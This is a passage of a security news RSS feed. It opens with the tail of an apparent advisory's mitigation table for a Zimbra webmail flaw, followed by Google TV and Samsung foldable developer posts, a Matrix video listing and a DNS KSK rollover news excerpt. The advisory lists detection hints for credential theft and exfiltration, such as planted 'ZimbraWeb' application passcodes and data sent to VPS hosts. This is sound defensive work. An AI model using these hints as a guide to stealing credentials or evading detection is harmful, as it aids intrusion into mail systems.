<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Increasing app discovery and engagement on Google TV]]></title>
<description><![CDATA[Posted by Paul Lammertsma, Developer Relations Engineer


  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer t...]]></description>
<link>https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:47 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQn4lINBGbNGjb1HQYUpv_Z0-JdltXyHegoQ-Ukl5l9K2ef4BSjX8c_yu0EWlnHSJnia8oXZYWvMtKxCP9t9PlJmI9GFIy34UDVfMBkEIaz3KJegu0j2TsivMZZPHg9tkIlsyK4NWd0vEq5v1MfQUay8zJ9-2QgLDLBlkqYVxnY7BaYa3QBTVRE3NKxxQ/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Paul Lammertsma, Developer Relations Engineer</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><br><i><br></i><p dir="ltr"><br></p>

<p dir="ltr">
  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer tools designed to increase the discoverability of your content and prepare your app for future TV experiences.
</p>

<h2 dir="ltr">Drive discovery and engagement with Gemini</h2>

<p dir="ltr">
  Last year, we brought our AI voice assistant, <a href="https://blog.google/products-and-platforms/platforms/google-tv/gemini-google-tv/">Gemini</a>, to our platform, so that people can easily find what to watch, learn something new on the big screen, and get everyday tasks done with just their voice.
</p>

<p dir="ltr">
  Since launch, we’ve made <a href="https://blog.google/products-and-platforms/platforms/google-tv/new-gemini-features-march-2026/">improvements</a> to how Gemini provides tailored responses to questions. Gemini shares a mix of visuals, videos, and text to help users find what they need, when they need it. For our streaming partners, Gemini is a helpful discovery engine—pulling from your app's metadata to surface your relevant content to viewers.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN7u9KDZ7L8CIw5cVB_qdWf6PRcm86N8RsrlWPdEYsfwchPZwFBpMaajSqkPwXXAoBP0_v0GpQsWp4_gF_SsBC0DuZlN0qVystQ3fWmHs1qU6dKclljJaea-Phak7qEoGFiu_i3-dj0l7WmA7Tm7T2v8kERsfhKp6BCFs-7y7eSdxVWmFkpIzXYsceaJM/w640-h360/GTV%20Gemini%20-%20GOAT%20overview%20%5B10.8%20MB%5D.gif"></div>

<h2 dir="ltr">Declare support for pointing modality</h2>

<p dir="ltr">
  The TV experience that we once knew is changing. Gemini is changing the way we discover and stream content with voice, but how we use the remote is evolving, too.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5hNXf8y8wwFxJAgZ0N4QwO5v6QUe7vn4Qy70-ndmo2iTye1qdhKP5WxKPJVwoPi0qdadX25BUJzxtLQZVAHXASOibVD0y3Xd_gFuOzp5GOIBwtXy_2jFa4lsTi4r1k6OzkTe5HyJGkOK-fNspRoo54mEA5IB8K4f0fVZ9UpgTWlringYByYxw3Bn_X1c/w640-h360/GTV%20Pointer%20Remote%20Demo_SHELL.gif"></div>

<p dir="ltr">
  Pointer remotes bring motion-controlled input to the big screen, unlocking faster user navigation across the Google TV Home page and within content-heavy apps. To ensure your app is ready for this shift and provides a great experience for all users, now is the time to start thinking about pointing input. Here’s how to get started:
</p>

<h4><span>1. Adapt your TV app UI Library</span></h4>
<p dir="ltr">
  You’ll need support for hover states, scrollable containers, and cursor clicks to enable pointer remote interactions for your app on Google TV. While implementation varies by UI stack, Jetpack Compose streamlines this transition, as most core components handle these multi-modal interactions natively out of the box.
</p>

<ol type="a">
  <li><strong>Hover state:</strong> Every focusable element on your screen (buttons, movie posters, setting toggles) needs a clear visual feedback mechanism for a hover state. This is often subtler than a focus state but critical for feedback.</li>
  <li><strong>Scrollable containers:</strong> Pointer remotes will also have a small circular touchpad for scrolling. Users can use this touchpad to scroll up or down, or left or right in your app. Your app will need to respond to touch events to scroll.</li>
  <li><strong>Cursor clicks:</strong> Many TV apps today expect a simple D-pad OKAY button “click.” With a pointer remote, a user may “click” on an element that’s not the D-pad focus state, but is instead from a hovered state (similar to a mouse click).</li>
</ol>

<h4><span>2. Test pointing interactions with a mouse today</span></h4>
<p dir="ltr">
  To see how your app handles hover, scroll, and clicks, simply connect a bluetooth mouse or wired mouse to your Google TV. Keep in mind that a mouse has more precise control, since users are closer to the screen and typically rest the mouse in a stable position. Pointer remotes can often be less precise, since users are sometimes 10 feet away from the screen, making rough gestures with the remote from their couch. As a TV designer or developer, you can mitigate this lack of input precision by having larger hover targets for elements.
</p>

<h4><span>3. Declare TV app support for pointer remotes on Google Play</span></h4>
<p dir="ltr">
  Finally, tell Google Play that your TV app is designed to work with a pointer. This ensures that users with pointer remotes will be able to easily find, install, and interact with your app.
</p>

<p dir="ltr">
  Within your AndroidManifest.xml, declare the meta-data tag, <span>android.software.leanback.</span><span>supports_touch</span>. This tag informs the platform that your TV app “spatially supports touch,” since pointer remotes simulate touch events from a distance.
</p>

<p dir="ltr"><strong><em>AndroidManifest.xml</em></strong></p>

<pre>&lt;manifest ...&gt;
    &lt;!-- Signal whether the app is adaptive or built just for TV --&gt;
    &lt;uses-feature android:name="android.software.leanback" android:required="true|false" /&gt;

    &lt;!-- Ensure the app can be installed on conventional TVs --&gt;
    &lt;uses-feature android:name="android.hardware.touchscreen" android:required="false" /&gt;

    &lt;!-- Signal whether the app supports pointer remotes --&gt;
    &lt;meta-data android:name="android.software.leanback.supports_touch" android:value="true|false"/&gt;

    &lt;application ...&gt;
        ...
    &lt;/application&gt;
&lt;/manifest&gt;
</pre>

<p dir="ltr"><strong>Tips:</strong></p><ul>
  <li>The <span>android.<strong>software</strong>.<strong>leanback</strong></span> feature declaration indicates that your app supports D-pad navigation and is intended for distribution only on TV devices via Google Play.</li>
  <li>The new software attribute of <span>android.software.leanback.</span><span>supports_touch</span> declares that in addition to D-pad, you have ensured that your TV app works well for pointer/cursor experiences via mouse (of today) and pointer remotes (of future).</li>
  <li>If you haven't already, now is the time to adopt <a href="https://developer.android.com/compose">Jetpack Compose</a>. Hover, scroll, and clicks are common input modalities that are supported on various form factors, and building your app with an adaptive UI framework enables code reusability and reduced maintenance.</li>
</ul>

<h2 dir="ltr">Onboard the Engage SDK</h2>
<p dir="ltr">
  The Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement.
</p>

<ul>
  <li><strong>Resumption:</strong> Partners can easily display a user's paused video within the 'Continue Watching' row from the Home page.</li>
  <li><strong>Entitlements:</strong> The Engage SDK streamlines entitlement management, which matches app content to user eligibility. Users appreciate this because they can enjoy personalized recommendations without needing to manually update all their subscription details. This allows partners to connect with users across multiple discovery points on Google TV.</li>
  <li><strong>Recommendations:</strong> The Engage SDK even highlights personalized recommendations based on content that users watched inside apps.</li>
</ul>

<p dir="ltr">
  It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. To get started, head to <a href="https://goo.gle/engage-tv">goo.gle/engage-tv</a> to learn more.
</p>

<p dir="ltr">
  We're excited to see how our latest Gemini experience and developer tools will optimize your discovery and drive user engagement on our platform.
</p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
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<title><![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]></title>
<description><![CDATA[Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer ExperienceToday at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, ...]]></description>
<link>https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:16 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-c747avSj9Z8JO4DTK4kSfO3SjSpd5aTuVvR_TBeD3bXV6cc8lzNLGrWCngNXdyZBeiNjQqwQZCcU4QCrovwL99gu0t5bQrlTXa0PIBGIivwyS8y226MgeraphZr4VITWYe0x7ckFto0dsD8rBLM1J_P3dV0CBj5Ctlwm8jsgAPZA7W2XnKnRz59H9I/s2049/MM_Adaptive_and_device_Meta%20(1).png"><div>



<div><div class="separator"><i>Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience</i></div></div><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s4210/MM_Adaptive_and_device_Blog.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s1600/MM_Adaptive_and_device_Blog.png"></a></div><br><i><br></i><p>Today at Galaxy Unpacked, Samsung <a href="https://blog.google/products-and-platforms/platforms/android/galaxy-unpacked-2026" target="_blank">unveiled</a> its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.</p>

<p>With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.</p>

<div class="separator">
  </div>

<h2>Rethink layout architecture for dynamic displays, including ultra-wide foldables</h2>

<p>Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">dedicated guidance for building for landscape foldables and trifolds.</a></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1302/Samsung%20fold8%20phones.png"><img border="0" data-original-height="442" data-original-width="1302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1600/Samsung%20fold8%20phones.png"></a></div><br><p>To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:</p>

<p></p><ul><li><b>Build fluid, adaptive layouts: </b>Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated <a href="https://developer.android.com/design/ui/mobile/guides/layout-and-content/adapt-layout" target="_blank">adaptive design guidance</a> advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our <a href="https://developer.android.com/design/ui/gallery/social/pawparazzi" target="_blank">adaptive sample app</a> and <a href="https://developer.android.com/design/ui/gallery/social/dual-screen?hl=en" target="_blank">dual-screen</a> design galleries.</li><li><b>Track actual app space:</b> Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage <a href="https://developer.android.com/develop/adaptive-apps/guides/use-window-size-classes?hl=en" target="_blank">Window Size Classes</a> using the <a href="https://developer.android.com/blog/posts/jetpack-window-manager-1-5-is-stable" target="_blank">Jetpack Window Manager library</a> to calculate the exact space your app occupies.</li></ul><div><br></div>
  
<div class="separator">
  </div></div><div class="separator"><br></div><div class="separator"><div class="separator"><ul><li><b>Leverage the latest Jetpack Compose Update: </b>Start by adopting the stable <a href="https://android-developers.googleblog.com/2026/04/jetpack-compose-april-2026-updates.html" target="_blank">Jetpack Compose April '26 release</a> (<a href="https://developer.android.com/develop/ui/compose/bom" target="_blank">Compose BOM</a> version <code>2026.04.01</code>).Take advantage of the new structural layout tools to manage complex architectures. The new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid" target="_blank">Grid</a> API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox" target="_blank">FlexBox</a> layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/mediaquery" target="_blank">MediaQuery</a> API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. </li><li><b>Make your app fold aware: </b>Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is<a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/make-your-app-fold-aware" target="_blank"> fold aware</a>, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.</li><li><b>Maintain app continuity:</b> Avoid breaking the user journey when the device configuration shifts. Retain your UI state using <a href="https://developer.android.com/topic/libraries/architecture/viewmodel?hl=en" target="_blank">ViewModel</a> to ensure smooth transitions when a user folds or unfolds their device.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/s1920/7.22_MorphToTablet_Gif.gif"><img border="0" data-original-height="1080" data-original-width="1920" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/w640-h360/7.22_MorphToTablet_Gif.gif" width="640"></a></div><div><h2>Ensure seamless camera capture on foldable devices</h2><div>Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.</div><div> </div><div>When optimizing your app's media pipeline, migrate your capture experiences to <a href="https://developer.android.com/media/camera/camerax" target="_blank">CameraX</a> using the CameraX migration <a href="https://github.com/android/skills/blob/main/camera/camerax/SKILL.md">skill</a>. The library’s <a href="https://developer.android.com/reference/kotlin/androidx/camera/view/PreviewView" target="_blank">PreviewView</a> automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables#solution_2_cameraviewfinder" target="_blank">CameraViewfinder</a> library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.</div></div><h2>Extend glanceable interactions to Wear OS 7</h2><div>The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using <a href="https://developer.android.com/jetpack/androidx/releases/glance-wear" target="_blank">Jetpack Glance</a> and <a href="https://developer.android.com/jetpack/androidx/releases/compose-remote" target="_blank">RemoteCompose</a>. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. </div><div><br></div>
    
 <div class="separator">
  </div><div class="separator"><h2>Build intelligent features </h2><div class="separator"><a href="https://blog.google/products-and-platforms/platforms/android/gemini-intelligence/" target="_blank">Gemini intelligence </a>already completes tasks on users’ behalf, and you can <a href="https://developer.android.com/ai/appfunctions?_gl=1*1jms098*_up*MQ..*_ga*MjY0OTY0MDI3LjE3ODQzMzI1NDk.*_ga_6HH9YJMN9M*czE3ODQzMzI1NDkkbzEkZzAkdDE3ODQzMzI1NDkkajYwJGwwJGgxNjE0MTMzNjEz" target="_blank">experiment</a> with the intelligence system by sharing your apps capabilities. </div><div class="separator"><br></div><div class="separator">Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and <a href="https://developers.google.com/ml-kit/release-notes#july_14_2026" target="_blank">much more</a>. Use <a href="https://developers.google.com/ml-kit/genai/prompt/android" target="_blank">ML Kit’s Prompt API</a> with advanced features like s<a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output" target="_blank">tructured output</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/thinking-mode" target="_blank">thinking mode</a> to build intelligent features on-device. </div><div class="separator"><h2>Start optimizing today</h2><div class="separator">The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for <a href="https://developer.android.com/develop/adaptive-apps" target="_blank">building adaptive apps </a>to learn more about core adaptive design principles. </div><div class="separator"><br></div><div class="separator">To dive deeper, check out our comprehensive <a href="https://www.youtube.com/playlist?list=PLD2U7gd1-ieo" target="_blank">YouTube playlist</a>. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">trifolds and landscape foldables</a> and <a href="https://developer.android.com/design/ui/wear/guides/get-started?hl=en" target="_blank">WearOS</a>. </div><div class="separator"><br></div><div class="separator">Unfold the future today! </div></div></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Matrix Tutorials #15 – Matrix on Kubernetes]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 20x - Views:334 A few years ago we deployed Matrix with docker-compose. Now, let's give it a go on Kubernetes!

00:00 Introduction
01:40 Kubernetes Makes Things Simple
04:59 Getting Started
06:21 Installing Kubernetes
14:41 Deploying and Removing a Wordpress
20:5...]]></description>
<link>https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:07 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 20x - Views:334 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/mMsyF3bQqWs?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>A few years ago we deployed Matrix with docker-compose. Now, let&#039;s give it a go on Kubernetes!<br />
<br />
00:00 Introduction<br />
01:40 Kubernetes Makes Things Simple<br />
04:59 Getting Started<br />
06:21 Installing Kubernetes<br />
14:41 Deploying and Removing a Wordpress<br />
20:53 Deploying A Matrix Stack<br />
31:02 More Services Almost For Free<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



